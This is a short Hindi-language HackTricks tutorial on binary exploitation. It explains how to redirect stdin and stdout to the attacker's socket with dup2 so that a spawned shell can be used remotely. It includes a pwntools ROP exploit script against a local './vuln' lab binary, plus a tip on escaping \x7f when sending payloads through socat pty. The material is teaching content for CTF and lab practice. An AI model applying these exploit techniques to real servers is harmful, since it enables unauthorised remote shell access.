Common Exploiting Problems

HackTricks का समर्थन करें

दूरस्थ शोषण में FDs

जब एक दूरस्थ सर्वर को एक शोषण भेजा जाता है जो system('/bin/sh') को कॉल करता है, उदाहरण के लिए, यह सर्वर प्रक्रिया में निष्पादित होगा, और /bin/sh stdin (FD: 0) से इनपुट की अपेक्षा करेगा और stdout और stderr (FDs 1 और 2) में आउटपुट प्रिंट करेगा। इसलिए हमलावर शेल के साथ इंटरैक्ट नहीं कर पाएगा।

इसका एक समाधान यह है कि मान लिया जाए कि जब सर्वर शुरू हुआ, तो उसने FD संख्या 3 (सुनने के लिए) बनाई और फिर, आपका कनेक्शन FD संख्या 4 में होगा। इसलिए, यह संभव है कि syscall dup2 का उपयोग करके stdin (FD 0) और stdout (FD 1) को FD 4 (हमलावर के कनेक्शन वाला) में डुप्लिकेट किया जाए ताकि शेल से संपर्क करना संभव हो सके जब यह निष्पादित हो।

यहाँ से शोषण उदाहरण:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

ध्यान दें कि socat पहले से ही stdin और stdout को सॉकेट पर ट्रांसफर करता है। हालाँकि, pty मोड DELETE वर्णों को शामिल करता है। इसलिए, यदि आप \x7f ( DELETE -) भेजते हैं, तो यह आपके एक्सप्लॉइट के पिछले वर्ण को हटाएगा

इससे बचने के लिए किसी भी भेजे गए \x7f के पहले escape character \x16 होना चाहिए।

यहाँ आप इस व्यवहार का एक उदाहरण** पा सकते हैं।**

Support HackTricks

Last updated